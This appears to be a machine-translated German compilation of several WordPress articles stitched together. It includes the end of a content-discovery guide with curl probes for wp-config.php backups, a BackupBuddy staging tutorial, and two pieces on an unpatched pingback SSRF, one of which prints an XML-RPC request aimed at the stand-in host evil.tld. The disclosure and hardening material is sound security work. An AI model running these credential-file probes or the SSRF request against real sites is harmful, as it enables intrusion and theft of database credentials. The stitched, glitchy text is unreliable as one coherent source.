  • Whitelist-IP-Adressen, die eine Verbindung zu Internetdiensten herstellen können

Inhaltserkennung

Content Discovery ist der Prozess, bei dem versucht wird, interessante Elemente in einem Webpfad zu finden. Es gilt für jede Webanwendung, aber da wir WordPress angreifen, richten Sie es auf typische Dateien und Pfade von Interesse in einer WordPress-Installation.

Zum Beispiel:

curl https://testwordsite.com/wp-config.php.bak
 curl https://testwordpressite.com/.wp-config.php.swp 

Diese beiden Beispiele verwenden curl, um eine mögliche Sicherungsdatei der Datei wp-config.php zu finden, die wir zuvor besprochen haben. Es enthält vertrauliche Informationen , einschließlich Datenbankanmeldeinformationen . Der zweite Versuch versucht, die Sicherungsdatei herunterzuladen, die vimautomatisch erstellt, wenn eine Datei bearbeitet wird. Ein guter Grund, Dateien nicht direkt an Ihren Produktionsstandorten zu bearbeiten!

Verwenden curlUm diese Suchaufgabe für Hunderte oder sogar Tausende gemeinsamer Dateien durchzuführen , könnte dies mit ein wenig Skripting erreicht werden. Besser geeignet sind hingegen geeignetere Tools wie Burp Suite oder gobuster , ein durch Parallelverarbeitung sehr schnelles Tool. Es gibt viele Gründe, warum WordPress-Seiten angegriffen werden. Mit der Standardwartung können Sie die Wahrscheinlichkeit eines erfolgreichen Angriffs erheblich verringern. Seien Sie nicht die niedrig hängende Frucht. Halten Sie alles auf dem neuesten Stand, erstellen Sie regelmäßige Backups, führen Sie eine grundlegende Härtung durch und testen Sie Ihre Sicherheit regelmäßig.

Holen Sie sich ein professionelles WordPress-Assessment –   ​​Weitere Informationen
Testen Sie sich selbst mit OpenVAS, Nikto, Nmap ++   Mehr Infos

Folgepost zu diesem Artikel:   Defending WordPress with OSSEC .
Tutorial zu OSSEC:   OSSEC Einführungs- und Installationsanleitung .
Tutorial zu Gobuster:   Gobuster-Tutorial und Installationsanleitung .




So richten Sie eine WordPress-Staging-Site mit BackupBuddy-Bereitstellung ein

Zuletzt aktualisiert am 7. Januar 2020

BackupBuddy Deployment ist eine neue Funktion in BackupBuddy 6.0, mit der Sie Änderungen einfach zwischen zwei WordPress-Sites übertragen oder ziehen können. In diesem Beitrag behandeln wir, wie Sie eine WordPress-Staging-Site mit dem WordPress-Backup-Plugin BackupBuddy einrichten.

Mit der Bereitstellung in BackupBuddy können Sie die Datenbank, Mediendateien, Plugins und das aktive Design einer WordPress-Site zwischen einer Staging-Site (oder Test-/Entwicklungssite) und einer Live-Site hin und her verschieben oder ziehen, sodass Sie auf einer Site und dann entwickeln können Push-Änderungen auf eine andere übertragen, sodass Sie nie wieder auf einer Live-Site entwickeln müssen.

Verwenden einer WordPress-Staging-Site in Ihrem WordPress-Entwicklungsworkflow

WordPress Staging ist eine Methode zur Entwicklung von WordPress-Websites an einem anderen Ort als Ihrer Live-WordPress-Site. WordPress-Staging kann aus zwei oder drei separaten Websites mit separaten URLs bestehen.

Beispielsweise haben Sie möglicherweise eine Staging-Site (Test-Site) und eine Live-Site (Produktions-Site).

WordPress-Staging-Site-Plugin

  • Beispiel: Sie könnten Ihre Site der Einfachheit halber lokal auf Ihrem Computer entwickeln und sie dann auf der Staging-Site (Test) auf demselben Server (aber unter einer anderen URL) wie die Live-Site bereitstellen, um sie Clients vorzuführen oder die Serverkompatibilität sicherzustellen usw. Sobald Sie zufrieden sind, können Sie die Änderungen an die Live-Produktionsseite übertragen.
  • Beispiel: Wenn Sie ein größeres Plugin-Update ausprobieren möchten, sich aber vergewissern möchten, dass es die Live-Site nicht beschädigt, können Sie zu Ihrer Staging-Site gehen und dann die Live-Site herunterziehen. Nachdem Sie überprüft haben, dass alles wie erwartet funktioniert, können Sie die Änderungen entweder auf die Live-Site zurückschieben oder direkt zur Produktions-Site gehen und das Plugin dort aktualisieren.

Stellen Sie mit BackupBuddy Deployment mit wenigen Klicks Änderungen von einer Staging-Site auf eine Live-Site bereit

BackupBuddy verwendet ein neues Remote-Ziel „BackupBuddy Deployment“, um Ihre WordPress-Staging-Site und Ihre Live-Site zu verbinden. Wenn Sie den Bereitstellungsprozess einleiten, werden die Inhalte der Zielsite (der Site, auf die Sie pushen) nach Bedarf überschrieben.

Während der Bereitstellung wird Ihnen ein kontinuierlicher Status des Prozesses angezeigt und Sie haben die Möglichkeit, die Änderungen zu testen und die Datenbankänderungen rückgängig zu machen, bevor Sie sie dauerhaft machen.

  • Sehen Sie sich vor der Bereitstellung Unterschiede in den Standortservereinstellungen, aktiven Plugins, Designs, Versionen und Medien an.
  • Optionen zum Übertragen der Datenbank (alle Tabellen, einige oder keine), Plugins, Design und/oder Medien.
  • Automatische Migration von URLs, Pfaden und anderen Einstellungen genauso wie manuelle Migrationen.
  • Beobachten Sie den Bereitstellungsfortschritt genau wie bei einem normalen Backup und zeigen Sie einen kontinuierlichen Status an, einschließlich eines detaillierten erweiterten Statusprotokolls des gesamten Prozesses, alles an einem Ort.
  • Möglichkeit, die Datenbankänderungen mit einem Klick rückgängig zu machen, wenn etwas schief geht, bevor Sie die Bereitstellung bestätigen, sobald Sie zufrieden sind.
  • Automatisches Aufteilen von Daten, die zwischen Servern übertragen werden, um große Dateien oder langsame Server zu unterstützen.
  • Tauscht Datenbanken erst aus, nachdem die gesamte Datenbank und alle Dateien übertragen wurden, um zu versuchen, die Ausfallzeit der Site auf wenige Sekunden (oder weniger!) zu minimieren.
  • Perfekt für die Entwicklung Ihrer Website an einem anderen Ort als der Live-Website. Verwenden Sie Best Practices für die Bereitstellung.

So richten Sie eine WordPress-Staging-Site mit BackupBuddy-Bereitstellung ein

Die superschnelle Version dieses Tutorials sieht ungefähr so ​​aus:

  1. Erstellen Sie eine Sicherungskopie Ihrer Live-Site.
  2. Erstellen Sie eine Staging-(Test-)Site, indem Sie Ihr Backup auf einer neuen Domain wiederherstellen (z. B. dev.yourdomain.com).
  3. Füge define( ‚BACKUPBUDDY_API_ENABLE‘, true ) hinzu; in die Datei wp-config.php deiner Live-Site.
  4. Gehen Sie auf der Live-Site zu BackupBuddy > Remote-Ziele und wählen Sie oben auf der Seite Bereitstellungsschlüssel anzeigen aus
  5. Kopieren Sie den angegebenen Schlüssel.
  6. Gehen Sie auf Ihrer Staging-Site zu BackupBuddy > Remote-Ziele und klicken Sie auf die Option Neu hinzufügen und wählen Sie dann BackupBuddy-Bereitstellung.
  7. Fügen Sie den API-Schlüssel , den Sie von der Live-Site kopiert haben, in Ihre Staging-Site ein.
Die längere, ausführlichere Version dieses Tutorials:

1. Gehen Sie auf Ihrer Live-Site zu BackupBuddy > Remote Destinations und wählen Sie dann die Schaltfläche „ Show Deployment Key “ oben auf der Seite.

wordpress-staging-plugin-backupbuddy

Wenn Sie die Bereitstellung auf dieser Site zum ersten Mal einrichten, werden Sie aufgefordert, die folgende Zeile zur Datei wp-config.php Ihrer Live-Site hinzuzufügen. define( ‚BACKUPBUDDY_API_ENABLE‘, true );

WordPress-Entwicklungsseite

Nachdem du diese Zeile zu deiner wp-config.php-Datei deiner Live-Site hinzugefügt hast, aktualisiere die Seite und wähle erneut „Bereitstellungsschlüssel anzeigen“ , um den Schlüssel anzuzeigen ). Sie sehen einen Bereitstellungs-API-Schlüssel, der ungefähr so ​​aussieht: eyJrZXlfdmVyc2lvbiI6MSwia2V5X3B1YmxpYyI6IjXiMzJmZjJmZjEzODhl OWRmNzA5YzFkY2NkYzNlMzY2Iiwia2V5X3NlY3JldCI6IjM5ZWM1NWE3YjJi ZmY3OWIwYTAyOTNlZmYxMxODczIiwia2V5X2NyZWF0ZWQiOjE0MjExMTAwOT UsInNpdGV1cmwiOiJodHRwsdml84sC9iYWNrdXBidWRkeTIiLCJob21ldXJs IjoiaHR0cDpsdjc98wjDXXYaVwYnVkZHkyIn0=

2. Kopieren Sie diesen Schlüssel. Sie geben diesen Schlüssel in Ihre Staging-Site ein.

WordPress-Entwicklungs-Plugin

3. Gehen Sie auf Ihrer Staging-Site zur Seite BackupBuddy > Remote-Ziele und klicken Sie auf die Registerkarte „ + Neu hinzufügen. ” Wählen Sie das Ziel „BackupBuddy Deployment“.

add-new-deployment-site-backupbuddy

4. Geben Sie den API-Schlüssel ein, den Sie von Ihrer Live-Site kopiert haben. Sie können das Ziel jetzt testen und hinzufügen. Die Einrichtung ist jetzt abgeschlossen!

staging-plugin-wordpress

Push & Pull von Änderungen von der Staging-Site zur Live-Site

1. Gehen Sie zu der Site, von der Sie Pushen oder Pullen möchten.

2. Gehen Sie zur Seite BackupBuddy > Remote-Ziele und wählen Sie die Registerkarte „Meine Bereitstellungssite“ , die Sie während des Setups hinzugefügt haben.

Connect-Staging-Site

3. Wählen Sie „Push to“ oder „Pull from“, je nachdem, was Sie tun möchten.

4. Ihnen werden Informationen zu beiden Seiten und deren Serverkonfiguration angezeigt, einschließlich WordPress- und Plugin-Versionen, Medieninformationen, Datenbanktabellen, Laufzeitdetails und mehr.

push-to-staging-site-wordpress

5. Wählen Sie aus, welche Daten Sie übertragen möchten, einschließlich Datenbanktabellen, Mediendateien, Plugins und Designdateien.

6. Klicken Sie auf „Begin Push/Pull“ , um den Vorgang zu starten. Sie erhalten eine Statusanzeige, die einen Überblick über den aktuellen Fortschritt einschließlich der übertragenen Dateien einschließlich eines detaillierten Statusprotokolls gibt.

entwicklung-plugin-wordpress

7. Testen Sie die Zielseite, um sicherzustellen, dass alles in Ordnung aussieht, und klicken Sie dann auf „Änderungen bestätigen“ , um diese Änderungen abzuschließen. Wenn Sie die Änderungen nicht innerhalb von 12 Stunden bestätigen, gelten sie als abgeschlossen.

Wenn Sie mit den Änderungen nicht zufrieden sind, wählen Sie „Datenbankänderungen rückgängig machen“, um auf die Datenbank zurückzusetzen, die vor dem Bereitstellungsprozess vorhanden war.

Um eine Zusammenfassung der übertragenen Dateien anzuzeigen, besuchen Sie die Seite BackupBuddy > Remote-Ziele erneut. Von hier aus können Sie Übertragungs- und Statusinformationen anzeigen.

WordPress-Transfer-Dateien-Entwicklung

Staging Best Practices

Beim Pushen und Pullen zwischen Sites ist es wichtig, dass Sie nur die Inhalte senden, die Sie auf der Zielsite überschreiben möchten. Zum Beispiel möchten Sie wahrscheinlich darauf verzichten, die WordPress-Kommentare auf Ihrer Entwicklungsseite an Ihre Produktionsseite zu senden, damit Kommentare nicht überschrieben werden.

BackupBuddy führt keine Datenbankinhalte „zusammen“. Ganze Tabellen werden entweder gesendet oder nicht gesendet. Sie können etwas Ähnliches wie bei einer Zusammenführung tun, indem Sie eine oder mehrere Tabellen von der Bereitstellung ausschließen. Nicht gesendete Tabellen führen dazu, dass die vorhandene Datenbanktabelle unverändert bleibt.

Weitere wichtige Hinweise zur Bereitstellung von BackupBuddy

  • Mindestens eine Website muss auf die andere URL zugreifen können. Zum Pushen muss diese Ziel-URL beispielsweise vom Quellcomputer aus zugänglich sein.
  • Nur aktive Designdateien werden aktualisiert und beide Sites müssen zu diesem Zeitpunkt dasselbe aktive Design haben.
  • Sites müssen über genügend Ressourcen verfügen, um Dateien sichern, wiederherstellen und Verbindungen zum Senden von Dateien (z. B. über curl) herstellen zu können. BackupBuddy sollte für die normale Funktionalität voll funktionsfähig sein, bevor Sie Bereitstellungen versuchen.
  • Beim Übertragen von Dateien dürfen Dateien, die auf dem anderen Server gelöscht wurden, nicht aus der Ferne gelöscht werden.
  • Beim Übertragen von Dateien werden leere Verzeichnisse nicht übertragen.
  • Die Windows-Unterstützung ist derzeit experimentell und wird derzeit nicht unterstützt. Die Unterstützung für die Windows-Bereitstellung ist in Bearbeitung.
  • Es wird empfohlen, dass der Remote-Server einen Admin-Benutzer mit demselben Benutzernamen wie der lokale Server hat. Wenn dies nicht der Fall ist, kann beim Abrufen des Servers nach der Wiederherstellung eine Abmeldung erfolgen. Wir versuchen, dies zu umgehen, aber einige Setups können dennoch zu einer Abmeldung führen.

Holen Sie sich jetzt BackupBuddy mit Bereitstellung

Beschleunigen Sie Ihren WordPress-Entwicklungsworkflow mit Deployment in BackupBuddy, dem 3-in-1- Plugin für WordPress-Backups . Zusätzlich zur Bereitstellung bietet BackupBuddy eine Menge anderer entwicklungsorientierter Funktionen, wie die WordPress-Migration , die Möglichkeit, WordPress zu klonen und mehr.




Ungepatchte Schwachstelle im WordPress-Core: Was es wirklich bedeutet

Geschrieben von iThemes-Redaktionsteam an 14. Dezember 2022

Zuletzt aktualisiert am 14. Dezember 2022

Diese Woche Im iThemes Vulnerability Report werden Sie feststellen, dass es eine ungepatchte Schwachstelle im WordPress-Core gibt. Diese Schwachstelle wurde von Thomas Chauchefoin gemeldet und betrifft derzeit alle Versionen von WordPress. Die wahrscheinliche Ausnutzung dieser Schwachstelle ist jedoch sehr gering, und um sich vollständig zu schützen, müssen Sie lediglich XML-RPC oder Pingbacks auf Ihrer WordPress-Site deaktivieren.

Was diese Schwachstelle für Ihre Website bedeutet

Obwohl ein vollständiger Proof of Concept noch nicht von WPScan veröffentlicht wurde, können wir einige fundierte Vermutungen darüber anstellen, wie diese Schwachstelle ausgenutzt werden kann. Sie sagen:

„WordPress ist von einer nicht authentifizierten blinden SSRF in der Pingback-Funktion betroffen. Aufgrund einer TOCTOU-Rennbedingung zwischen den Validierungsprüfungen und der HTTP-Anfrage können Angreifer interne Hosts erreichen, die ausdrücklich verboten sind.“

Um diese Schwachstelle auszunutzen, würde ein Angreifer WordPress-Pingbacks verwenden, wäre aber dazu gezwungen, dies in Kombination mit anderen Schwachstellen zu tun.

Um eine Schwachstelle wie diese auszunutzen, um einer WordPress-Site irgendeinen Schaden zuzufügen, wäre diese Schwachstelle nur nützlich, wenn sie mit anderen ernsteren Schwachstellen auf einer nicht gepatchten oder unsicheren WordPress-Site verwendet wird.

Offiziell hat das Sicherheitsteam von WordPress.org erklärt, dass es sich um eine Schwachstelle mit niedriger Priorität handelt. Insbesondere sagten sie dem Daily Swig :

„… dies ist ein Problem mit geringen Auswirkungen, und um es auszunutzen, muss es mit zusätzlichen Schwachstellen in Software von Drittanbietern [verkettet] werden. Daher betrachtet das Sicherheitsteam das Problem als gering.“

Sie fügten hinzu: „Aufgrund seines geringen Schweregrades diskutiert das Team, ob dieses Problem als allgemeine Härtungsmaßnahme öffentlich behoben werden könnte.“

Dies unterstreicht die Schwierigkeit, Sicherheitsfixes zu so vielen älteren Versionen von WordPress hinzuzufügen. Jahrelang hat das Kernteam Patches auf Versionen zurückportiert, die viele Jahre alt waren und nur von wenigen Nachzüglerseiten verwendet wurden, die noch nicht aktualisiert wurden. Die jüngste Entscheidung des Kernteams, ältere Versionen nicht mehr zurückzuportieren, wird die Behebung dieser Art von Problemen für das WordPress-Kernteam einfacher und schneller machen.

So schützen Sie Ihre Website

Da Pingbacks der offensichtliche Schwachpunkt sind, der diskutiert wird, ist das Deaktivieren von Pingbacks und/oder XML-RPC ein guter erster Schritt.

Wenn Sie Ihre WordPress-Site auf dem neuesten Stand halten und sich auf einem zuverlässigen Hosting mit einer starken und sicheren Infrastruktur befinden, ist die Wahrscheinlichkeit einer Ausnutzung dieser Schwachstelle extrem gering.

Wenn Sie Ihre Website so sicher wie möglich halten möchten, ist es am besten, Pingbacks oder XML-RPC zu deaktivieren. Glücklicherweise bietet Ihnen iThemes Security die Möglichkeit, beides zu tun.

So deaktivieren Sie XML-RPC mit iThemes Security

Das Deaktivieren von XML-RPC mit iThemes Security ist unglaublich einfach. Gehen Sie zu Sicherheit > Einstellungen > Erweitert > WordPress-Optimierungen und verwenden Sie dann das Dropdown-Menü, um XML-RPC zu deaktivieren.

Es kann Fälle geben, in denen Sie XML-RPC benötigen. Diese beinhalten:

  • Wenn Sie eine alte Website haben, die Sie nicht auf Version 4.4 oder höher aktualisieren können, haben Sie keinen Zugriff auf die REST-API und verwenden möglicherweise Dienste, die XML-RPC erfordern.
  • Sie verwenden ein Programm, das nicht auf die REST-API zugreifen kann, um mit Ihrer Website zu kommunizieren.
  • Integration mit einigen Apps von Drittanbietern, die nur XML-RPC verwenden können.

Das Deaktivieren von XML-RPC ist mit iThemes Security ein einfacher Vorgang. Sie können dies ausschalten und die Funktionalität Ihrer Website testen, und wenn etwas nicht richtig zu funktionieren scheint, können Sie es wieder einschalten.

Dies sind Situationen, in denen es sinnvoll ist, einen Staging-Server einzurichten, damit Sie Änderungen testen können, bevor Sie sie auf Ihre Produktionssite anwenden.

Stummschalten der Schwachstelle in Ihrem iThemes Site Scan

Natürlich benachrichtigt Sie der Site-Scanner von iThemes Security über diese Schwachstelle. Da es in naher Zukunft nicht vom Kernteam behoben wird, könnte es sinnvoll sein, der Warnungsermüdung vorzubeugen, indem diese Schwachstelle im Site-Scanner stummgeschaltet wird. Weitere Informationen zum Stummschalten von Schwachstellenwarnungen finden Sie in unserer Hilfedokumentation .

Fazit

Obwohl diese Sicherheitsanfälligkeit nicht gepatcht ist, stellt sie ein sehr geringes Risiko für Besitzer von WordPress-Sites dar. Wenn auf Ihrer Website XML-RPC bereits deaktiviert ist, sind Sie bereits geschützt. Pingbacks sind eine der Legacy-Funktionen von WordPress, die in einigen Fällen nützlich sein können, aber es ist keine Funktion, die von vielen modernen Websites verwendet wird. Dies ist einer der Fälle, in denen es hilfreich ist, ein Sicherheits-Plugin wie iThemes Security installiert zu haben, damit Sie schnell Maßnahmen ergreifen können, um Ihre Website gegen Angreifer zu schützen, selbst wenn die betreffende Schwachstelle von geringer Schwere ist.




WordPress Core – Unauthenticated Blind SSRF

by simon scannell and thomas chauchefoin|September 06, 2022

WordPress ist das weltweit beliebteste Content-Management-System und wird von über 40 % aller Websites verwendet . Diese breite Akzeptanz macht es zu einem Top-Ziel für Bedrohungsakteure und Sicherheitsforscher, die für das Melden von Sicherheitsproblemen über ihr öffentliches Bug-Bounty-Programm bezahlt werden.

Vulnerability Broker sind auch sehr daran interessiert, ungepatchte Schwachstellen zu erwerben, die es ihnen ermöglichen, WordPress-Instanzen zu übernehmen, und bieten manchmal bis zu 300.000 US-Dollar für kritische Schwachstellen. Als solches hat WordPress eine stark überprüfte Codebasis, in der von Forschern nicht mehr erwartet wird, dass sie niedrig hängende Früchte finden. Unsere bisherigen Recherchen zu diesem Ziel erforderten umfangreiche Fachkenntnisse und Anstrengungen, um Sicherheitsprobleme aufzudecken.

Dieser Blogbeitrag beschreibt eine überraschend einfache Schwachstelle in der WordPress-Implementierung von Pingbacks. Während die Auswirkungen dieser Schwachstelle im Falle von WordPress für die meisten Benutzer gering sind, ist das damit verbundene anfällige Codemuster ziemlich interessant zu dokumentieren, da es wahrscheinlich auch in den meisten Webanwendungen vorhanden ist. Das Ziel dieses Blogbeitrags ist es, über dieses Muster aufzuklären und das Bewusstsein zu schärfen.

Offenlegung

Diese Schwachstelle wurde WordPress am 21. Januar gemeldet; es ist noch keine Lösung verfügbar. Bitte lesen Sie den Abschnitt Patch , um eine Anleitung zu möglichen Korrekturen zu erhalten, die Sie auf Ihre WordPress-Instanzen anwenden können.

Es ist das erste Mal, dass wir Details über eine ungepatchte Schwachstelle veröffentlichen, und diese Entscheidung wurde uns nicht leicht gemacht. Dieses Problem wurde erstmals vor etwa sechs Jahren im Januar 2017 von einem anderen Forscher und zahlreichen anderen im Laufe der Jahre gemeldet. Nach unserem Bericht und weiteren Untersuchungen konnten wir auch mehrere öffentliche Blog-Posts identifizieren, die dasselbe Verhalten dokumentieren wie der, über den wir heute berichten werden.

Aufgrund der geringen Auswirkungen in der vorliegenden Form, der vorherigen Veröffentlichung und der Notwendigkeit, sie mit zusätzlichen Schwachstellen in Software von Drittanbietern zu verketten, glauben wir, dass diese Version WordPress-Benutzer nicht gefährdet und ihnen nur helfen kann, ihre Instanzen zu härten.

Einfluss

Wir konnten keine Möglichkeiten finden, dieses Verhalten zu nutzen, um anfällige Instanzen zu übernehmen, ohne auf andere anfällige Dienste angewiesen zu sein.

Es könnte die Ausnutzung anderer Schwachstellen im internen Netzwerk der betroffenen Organisation erleichtern, beispielsweise durch die Verwendung einer der jüngsten Confluence OGNL-Injektionen, der epischen Remote-Code-Ausführung in Jenkins, die von @orange_8361 gefunden wurde , oder einer der anderen von AssetNote dokumentierten Ketten .

Technische Details

Verwendung des anfälligen Konstrukts in der Pingback-Funktion

Pingbacks sind eine Möglichkeit für Blogautoren, benachrichtigt und angezeigt zu werden, wenn andere „befreundete“ Blogs auf einen bestimmten Artikel verweisen: Sie werden neben Kommentaren angezeigt und können frei akzeptiert oder abgelehnt werden. Unter der Haube müssen Blogs HTTP-Anfragen aneinander senden, um das Vorhandensein von Links zu identifizieren. Auch Besucher können diesen Mechanismus auslösen.

Diese Funktion wurde vielfach kritisiert, da sie es Angreifern ermöglicht, verteilte Denial-of-Service-Angriffe durchzuführen, indem sie böswillig Tausende von Blogs auffordern, auf einem einzelnen Server des Opfers nach Pingbacks zu suchen. Pingbacks sind auf WordPress-Instanzen immer noch standardmäßig aktiviert, da soziale und Community-Funktionen für das persönliche Bloggen wichtig sind. Es wird jedoch nicht erwartet, dass diese Anfragen an andere interne Dienste gesendet werden, die auf demselben Server oder lokalen Netzwerksegment gehostet werden.

Die Pingback-Funktionalität wird auf der XML-RPC-API von WordPress bereitgestellt. Zur Erinnerung: Dies ist ein API-Endpunkt, der XML-Dokumente erwartet, in denen der Client eine aufzurufende Funktion zusammen mit Argumenten auswählen kann.

Eine der implementierten Methoden ist pingback.ping und erwartet die Argumente pagelinkedfrom und pagelinkedto : Das erste ist die Adresse des Artikels, der auf das zweite verweist.

pagelinkedto muss auf einen bestehenden Artikel der lokalen Instanz zeigen, hier http://blog.tld/?p=1 , und pagelinkedfrom auf die externe URL, die einen Link zu pagelinkedto enthalten soll .

Unten sehen Sie, wie eine Anfrage an diesen Endpunkt aussehen würde:

POST /xmlrpc.php HTTP/1.1
Host: blog.tld
[...]
<methodCall>
   <methodName>pingback.ping</methodName>
  <params>
    <param>
      <value><string>http://evil.tld</string></value>
    </param>
    <param>
      <value><string>http://blog.tld/?p=1</string></value>
    </param>
  </params>
</methodCall>

Implementierung der URL-Validierung

Die WordPress-Core-Methode wp_http_validate_url() führt einige Überprüfungen der vom Benutzer bereitgestellten URLs durch, um das Missbrauchsrisiko zu verringern. Zum Beispiel:

  1. Das Ziel darf keinen Benutzernamen und kein Passwort enthalten;
  2. Der Hostname darf folgende Zeichen nicht enthalten: #:?[]
  3. Der Domänenname sollte nicht auf eine lokale oder private IP-Adresse wie 127.0.0.1, 192.168.* usw. verweisen.
  4. Der Zielport der URL muss entweder 80, 443 oder 8080 sein.

Der dritte Schritt kann das Auflösen von Domänennamen beinhalten, falls sie in der URL vorhanden sind (z. B. http://foo.bar.tld ). In diesem Fall wird die IP-Adresse des Remote-Servers ermittelt, indem die URL analysiert [1] und später aufgelöst wird [2] , bevor sie validiert wird, um nicht öffentliche IP-Bereiche auszuschließen:

src/wp-includes/http.php

$parsed_url = parse_url( $url ); // [1]
// [...]
$ip = gethostbyname( $host );    // [2]
    	if ( $ip === $host ) { 
           // Error condition for gethostbyname().
        	return false;
    	}
     // IP validation happens here
}
// [...]

Der Validierungscode scheint korrekt implementiert zu sein, und die URL gilt jetzt als vertrauenswürdig. Was passiert als nächstes?

Implementierung des/der HTTP-Client(s)

Zwei HTTP-Clients können Pingback-Anfragen verarbeiten, nachdem sie die URL validiert haben, basierend auf verfügbaren PHP-Funktionen: Requests_Transport_cURL und Requests_Transport_fsockopen . Sie sind beide Teile der Requests- Bibliothek, die unabhängig voneinander unter dem Dach von WordPress entwickelt wurden.

Werfen wir einen Blick auf die Implementierung des letzteren. Wir wissen, dass es die PHP-Streams-API von seinem Namen verwendet. Es arbeitet auf der Transportebene, und der Client muss die HTTP-Anforderung manuell erstellen. Die URL wird erneut mit parse_url() geparst und dann wird ihr Host – Teil verwendet, um ein Ziel zu erstellen, das mit der PHP-Streams-API kompatibel ist (z. B. tcp://host:port ):

wp-includes/Requests/Transport/fsockopen.php

public function request($url, $headers = array(), $data = array(), $options = array()) {
    // [...]
    $url_parts = parse_url($url);
    // [...]
    $host = $url_parts['host'];
    else {
        $remote_socket = 'tcp://' . $host;
    }
    // [...]
    $remote_socket .= ':' . $url_parts['port'];

Weiter entfernt wird dieses Ziel verwendet, um mit stream_socket_client() einen neuen Stream zu erstellen , und die HTTP-Anforderung wird erstellt und dorthin geschrieben:

wp-includes/Requests/Transport/fsockopen.php

​​$socket = stream_socket_client($remote_socket, $errno, $errstr, ceil($options['connect_timeout']), STREAM_CLIENT_CONNECT, $context);
// [...]
$out = sprintf("%s %s HTTP/%.1F\r\n", $options['type'], $path, $options['protocol_version']);
// [...]
if (!isset($case_insensitive_headers['Host'])) {
    $out .= sprintf('Host: %s', $url_parts['host']);
    // [...]
}
// [...]
fwrite($socket, $out);

Wie wir sehen können, impliziert dieser Prozess eine andere DNS-Auflösung, sodass stream_socket_client() die IP des Hosts identifizieren kann, um die Pakete zu senden.

Das Verhalten des anderen HTTP-Clients, cURL, ist sehr ähnlich und wird hier nicht behandelt.

Die Schwachstelle

Dieses Konstrukt hat ein Problem: Der HTTP-Client muss die URL erneut analysieren und den Hostnamen erneut auflösen, um seine Anfrage zu senden. In der Zwischenzeit könnte ein Angreifer die Domain so geändert haben, dass sie auf eine andere Adresse als die zuvor validierte verweist!

Diese Fehlerklasse wird auch Time-of-Check-Time-of-Use genannt: Eine Ressource wird validiert, kann aber später vor ihrer effektiven Verwendung geändert werden. Es ist üblich, solche Schwachstellen in Abwehrmaßnahmen gegen serverseitige Anforderungsfälschungen (SSRF) zu finden. Wir haben in unserem Code Security Adventskalender 2021 sogar eine Herausforderung veröffentlicht, die auf diesem anfälligen Codemuster basiert.

https://platform.twitter.com/embed/Tweet.html?creatorScreenName=sonarsource&dnt=false&embedId=twitter-widget-0&features=eyJ0ZndfdGltZWxpbmVfbGlzdCI6eyJidWNrZXQiOlsibGlua3RyLmVlIiwidHIuZWUiLCJ0ZXJyYS5jb20uYnIiLCJ3d3cubGlua3RyLmVlIiwid3d3LnRyLmVlIiwid3d3LnRlcnJhLmNvbS5iciJdLCJ2ZXJzaW9uIjpudWxsfSwidGZ3X2hvcml6b25fdGltZWxpbmVfMTIwMzQiOnsiYnVja2V0IjoidHJlYXRtZW50IiwidmVyc2lvbiI6bnVsbH0sInRmd190d2VldF9lZGl0X2JhY2tlbmQiOnsiYnVja2V0Ijoib24iLCJ2ZXJzaW9uIjpudWxsfSwidGZ3X3JlZnNyY19zZXNzaW9uIjp7ImJ1Y2tldCI6Im9uIiwidmVyc2lvbiI6bnVsbH0sInRmd19zaG93X2J1c2luZXNzX3ZlcmlmaWVkX2JhZGdlIjp7ImJ1Y2tldCI6Im9uIiwidmVyc2lvbiI6bnVsbH0sInRmd19jaGluX3BpbGxzXzE0NzQxIjp7ImJ1Y2tldCI6ImNvbG9yX2ljb25zIiwidmVyc2lvbiI6bnVsbH0sInRmd190d2VldF9yZXN1bHRfbWlncmF0aW9uXzEzOTc5Ijp7ImJ1Y2tldCI6InR3ZWV0X3Jlc3VsdCIsInZlcnNpb24iOm51bGx9LCJ0Zndfc2Vuc2l0aXZlX21lZGlhX2ludGVyc3RpdGlhbF8xMzk2MyI6eyJidWNrZXQiOiJpbnRlcnN0aXRpYWwiLCJ2ZXJzaW9uIjpudWxsfSwidGZ3X2V4cGVyaW1lbnRzX2Nvb2tpZV9leHBpcmF0aW9uIjp7ImJ1Y2tldCI6MTIwOTYwMCwidmVyc2lvbiI6bnVsbH0sInRmd19kdXBsaWNhdGVfc2NyaWJlc190b19zZXR0aW5ncyI6eyJidWNrZXQiOiJvbiIsInZlcnNpb24iOm51bGx9LCJ0ZndfdmlkZW9faGxzX2R5bmFtaWNfbWFuaWZlc3RzXzE1MDgyIjp7ImJ1Y2tldCI6InRydWVfYml0cmF0ZSIsInZlcnNpb24iOm51bGx9LCJ0Zndfc2hvd19ibHVlX3ZlcmlmaWVkX2JhZGdlIjp7ImJ1Y2tldCI6Im9uIiwidmVyc2lvbiI6bnVsbH0sInRmd19zaG93X2dvdl92ZXJpZmllZF9iYWRnZSI6eyJidWNrZXQiOiJvZmYiLCJ2ZXJzaW9uIjpudWxsfSwidGZ3X3Nob3dfYnVzaW5lc3NfYWZmaWxpYXRlX2JhZGdlIjp7ImJ1Y2tldCI6Im9mZiIsInZlcnNpb24iOm51bGx9LCJ0ZndfdHdlZXRfZWRpdF9mcm9udGVuZCI6eyJidWNrZXQiOiJvbiIsInZlcnNpb24iOm51bGx9fQ%3D%3D&frame=false&hideCard=false&hideThread=false&id=1468248939379847168&lang=en&origin=https%3A%2F%2Fblog.sonarsource.com%2F%2Fwordpress-core-unauthenticated-blind-ssrf%2F&sessionId=b21903e53850f875895c48efb872fe3f48f36be0&siteScreenName=blog_SonarSource&theme=light&widgetsVersion=a3525f077c700%3A1667415560940&width=550px

Wie diese aufeinanderfolgenden Schritte aussehen, haben wir im folgenden Diagramm zusammengefasst:

Aufeinanderfolgende Schritte einer böswilligen Anfrage, die die TOCTOU-Schwachstelle ausnutzt.

Ausbeutungsszenarien

Wir haben den Code in der Hoffnung geprüft, differenzielle Parser-Fehler zu finden, die es ermöglichen würden, unbeabsichtigte Ports zu erreichen oder POST-Anforderungen ohne Erfolg durchzuführen: Die anfänglichen URL-Validierungsschritte sind restriktiv genug, um ihre Ausnutzung zu verhindern. Wie bereits erwähnt, müssten Angreifer dieses Verhalten mit einer anderen Schwachstelle verketten, um die Sicherheit der angegriffenen Organisation erheblich zu beeinträchtigen.

Patch

Zum Zeitpunkt der Erstellung dieser Veröffentlichung sind uns keine öffentlichen Patches bekannt; Die obigen Details basieren auf einem Zwischenpatch, der uns während des Offenlegungsprozesses mitgeteilt wurde.

Das Beheben solcher Schwachstellen erfordert das Beibehalten der validierten Daten, bis sie zum Ausführen der HTTP-Anforderung verwendet werden. Es sollte nach dem Validierungsschritt nicht verworfen oder transformiert werden.

